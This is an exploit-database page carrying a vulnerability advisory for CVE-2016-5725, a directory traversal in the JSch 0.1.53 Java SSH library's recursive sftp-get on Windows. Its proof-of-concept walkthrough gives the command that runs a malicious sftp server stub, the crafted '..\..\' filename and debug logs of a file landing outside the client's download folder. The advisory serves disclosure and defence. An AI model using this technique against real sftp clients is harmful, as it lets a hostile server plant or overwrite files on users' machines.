Skip to content
cyberexploits
doswindowstext

JCraft/JSch Java Secure Channel 0.1.53 - Recursive sftp-get Directory Traversal

JCraft/JSch Java Secure Channel 0.1.53 - Recursive sftp-get Directory Traversal

Published on 2016-09-22

Source code

Pinned to commit 7eac4c3a2ce5
textplatforms/windows/dos/40411.txt7eac4c3a
raw
Ref:        https://github.com/tintinweb/pub/tree/master/pocs/cve-2016-5725

Version:    0.3

Date:       Aug 31st, 2016



Complete Proof of Concept:

https://github.com/tintinweb/pub/tree/master/pocs/cve-2016-5725

https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40411.zip



Tag:        jsch recursive sftp get client-side windows path traversal



Overview

--------



Name:           jsch

Vendor:         jcraft

References:     * http://www.jcraft.com/jsch/ [1]



Version:        0.1.53 [2]

Latest Version: 0.1.54 [2]

Other Versions: <= 0.1.53 

Platform(s):    windows

Technology:     java



Vuln Classes:   CWE-22 Improper Limitation of a Pathname to a Restricted

Directory ('Path Traversal')

Origin:         remote

Min. Privs.:    post auth



CVE:            CVE-2016-5725







Description

---------



quote website [1]



> JSch is a pure Java implementation of SSH2. JSch allows you to connect

 to an sshd server and use port forwarding, X11 forwarding, file transfer,

etc., and you can integrate its functionality into your own Java programs.

 JSch is licensed under BSD style license.



We have recognized that the following applications have used JSch.



  * Ant(1.6 or later).

    JSch has been used for Ant's sshexec and scp tasks.

  * Eclipse(3.0).

    Our Eclipse-CVSSSH2 plug-in has been included in Eclipse SDK 3.0. 

    This plug-in will allow you to get ssh2 accesses to remote CVS

repository

    by JSch.

  * NetBeans 5.0(and later)

  * Jakarta Commons VFS

  * Maven Wagon

  * Rational Application Devloper for WebSphere Software

  * HP Storage Essentials

  * JIRA

  * Trac WikiOutputStreamPlugin





Summary

-------



A malicious sftp server may force a client-side relative path traversal in

jsch's implementation for recursive sftp-get allowing the server to write

files outside the clients download basedir with effective permissions of the

jsch sftp client process. 



* affects recursive get, i.e. sftp <host>:</path>/* .

* post-auth

* file overwrite capability depends on the client specified mode: 

  `ChannelSftp.get(...,mode==ChannelSftp.OVERWRITE)`

* windows only



see attached PoC



Details

-------



  * examples/Sftp.java::main::

    c.get(p1, p2, monitor, mode);

   * ChannelSftp.java::get(String src, String dst, 

                           SftpProgressMonitor monitor, int mode)

    * ChannelSftp.java::_get(src,dst,monitor,mode,skip)



Source

------



see ref github.



Proof of Concept

----------------



see ref github.



poc:



1. run `poc.py` to spawn the ssh/sftp stub listening for new connections 

   on `0.0.0.0:3373`:



poc.py --host=0.0.0.0 --port=3373 -l DEBUG -k test_rsa.key



INFO:__main__:[cve-2016-5725] sftp server starting... 

INFO:__main__:* generating fake files

INFO:__main__:** /..\..\totally_malicious_script

INFO:__main__:* setting up sftp server

INFO:__main__:* monkey patching: chattr

INFO:__main__:* monkey patching: list_folder

INFO:__main__:* monkey patching: mkdir

INFO:__main__:* monkey patching: open

INFO:__main__:* monkey patching: remove

INFO:__main__:* monkey patching: rename

INFO:__main__:* monkey patching: rmdir

INFO:__main__:* monkey patching: stat

INFO:__main__:* monkey patching: symlink

INFO:__main__:* starting sftp server...

0.0.0.0 3373



2. connect to `poc.py` using jsch sftp-client example `examples/Sftp.java`

   (any user, user password):



sftp> 



3. issue a recursive get (any remote folder will do for the PoC) to store

   all files from `remote:fancyfolder` to `.`.



Note: output may contain additional debug information not enabled by default

      in `examples/Sftp.java`

Note: pwd is `<path>\workspace-ee\jsch`

Note: local output folder is `.` (`<path>\workspace-ee\jsch`)  



sftp> get fancyfolder/* .



3. client connects to `poc.py` with subsystem sftp



DEBUG:paramiko.transport:starting thread (server mode): 0x350afd0L

DEBUG:paramiko.transport:Local version/idstring: SSH-2.0-paramiko_2.0.0

DEBUG:paramiko.transport:Remote version/idstring: SSH-2.0-JSCH-0.1.53

INFO:paramiko.transport:Connected (version 2.0, client JSCH-0.1.53)

DEBUG:paramiko.transport:kex algos:[u'ecdh-sha2-nistp256', ...

DEBUG:paramiko.transport:Kex agreed: diffie-hellman-group1-sha1

DEBUG:paramiko.transport:Cipher agreed: aes128-ctr

DEBUG:paramiko.transport:MAC agreed: hmac-md5

DEBUG:paramiko.transport:Compression agreed: none

DEBUG:paramiko.transport:kex engine KexGroup1 specified hash_algo ...

DEBUG:paramiko.transport:Switch to new keys ...

DEBUG:paramiko.transport:Auth request (type=none) ...

INFO:paramiko.transport:Auth rejected (none).

DEBUG:paramiko.transport:Auth request (type=password) ...

INFO:paramiko.transport:Auth granted (password).

DEBUG:paramiko.transport:[chan 0] Max packet in: 32768 bytes

DEBUG:paramiko.transport:[chan 0] Max packet out: 32768 bytes

DEBUG:paramiko.transport:Secsh channel 0 (session) opened.

DEBUG:paramiko.transport:Starting handler for subsystem sftp



  

4. jsch sftp-client command `get fancyfolder/* .` calls

`opendir(/fancyfolder)`

   on the PoC sftp server which responds with a fake filelist for

`fancyfolder`

   listing the file `/..\..\totally_malicious_script`. 

 

DEBUG:paramiko.transport.sftp:[chan 0] Started sftp server on channel 

      <paramiko.Channel 0 (open) window=2097152 -> <paramiko.Transport 

      at 0x350afd0L (cipher aes128-ctr, 128 bits) (active; 1 open

channel(s))>> DEBUG:paramiko.transport.sftp:[chan 0] Request: realpath

DEBUG:paramiko.transport.sftp:[chan 0] Request: opendir INFO:__main__:LIST

(u'/fancyfolder'): [<SFTPAttributes: [ size=44 uid=0 

      gid=9 mode=0100666 atime=1472758892 mtime=1472758897 ]>]

DEBUG:paramiko.transport.sftp:[chan 0] Request: readdir

DEBUG:paramiko.transport.sftp:[chan 0] Request: readdir

DEBUG:paramiko.transport.sftp:[chan 0] Request: close



5. jsch sftp-client recursively downloads the files listed in the response

   to `opendir(/fancyfolder)` (sftp-get) by

   calling `stat`, `open` and `read` on the file.



a) jsch sftp-client calls `stat` on the filename as returned by the servers

   response to `opendir` (with traversal): 

   `stat(/fancyfolder//..\\..\\totally_malicious_script)`   

b) the sftp-server (PoC) returns file attributes for

`totally_malicious_script` 

   (with traversal)

c) jsch sftp-client requests file `open` on the path (with traversal):

   `open(/fancyfolder//..\..\totally_malicious_script)`

d) jsch sftp-client builds destination path by concatenating the destination

   folder ( `<path>\workspace-ee\jsch\.` ) with the server provided filename

   `/..\..\totally_malicious_script` stripping any data before and including

   `/` of the filename, then receives the remote files contents: `

   <path>\workspace-ee\jsch\.\..\..\totally_malicious_script`

e) the resulting sftp-client local destination path

  `dst <path>\workspace-ee\jsch\.\..\..\totally_malicious_script` is outside

   the basedir `<path>\workspace-ee\jsch\.`  



sftp-server (PoC)  



DEBUG:paramiko.transport.sftp:[chan 0] Request: stat INFO:__main__:STAT

(u'/fancyfolder//..\\..\\totally_malicious_script')

INFO:__main__:STAT - returning: totally_malicious_script

INFO:__main__:** /..\..\totally_malicious_script

DEBUG:paramiko.transport.sftp:[chan 0] Request: open

INFO:__main__:OPEN: /fancyfolder//..\..\totally_malicious_script

DEBUG:paramiko.transport.sftp:[chan 0] Request: read

DEBUG:paramiko.transport.sftp:[chan 0] Request: read

DEBUG:paramiko.transport.sftp:[chan 0] Request: read

DEBUG:paramiko.transport.sftp:[chan 0] Request: close



sftp-client (jsch)  



dst <path>\workspace-ee\jsch\.\..\..\totally_malicious_script

_get: /fancyfolder//..\..\totally_malicious_script,

java.io.FileOutputStream@7ccf3329

sftp> 



6. downloaded file is stored in server controlled relative path on client



tintin@testbox ~<path>/workspace-ee/jsch $ ls ../../total*

../../totally_malicious_script



Notes

-----



* the PoC is a slightly modified version `stub_sftp.py` shipped with

  paramiko/tests [4].

* we've seen ssh bots in the wild using jsch probing for weak ssh passwords.



Vendor response: see [5]



References

----------



[1] http://www.jcraft.com/jsch/

[2] https://sourceforge.net/projects/jsch/files/?source=navbar

[3] https://sourceforge.net/projects/jsch/files/jsch/0.1.53

[4] https://github.com/paramiko/paramiko/blob/master/tests/stub_sftp.py

[5] http://www.jcraft.com/jsch/ChangeLog
View on GitHub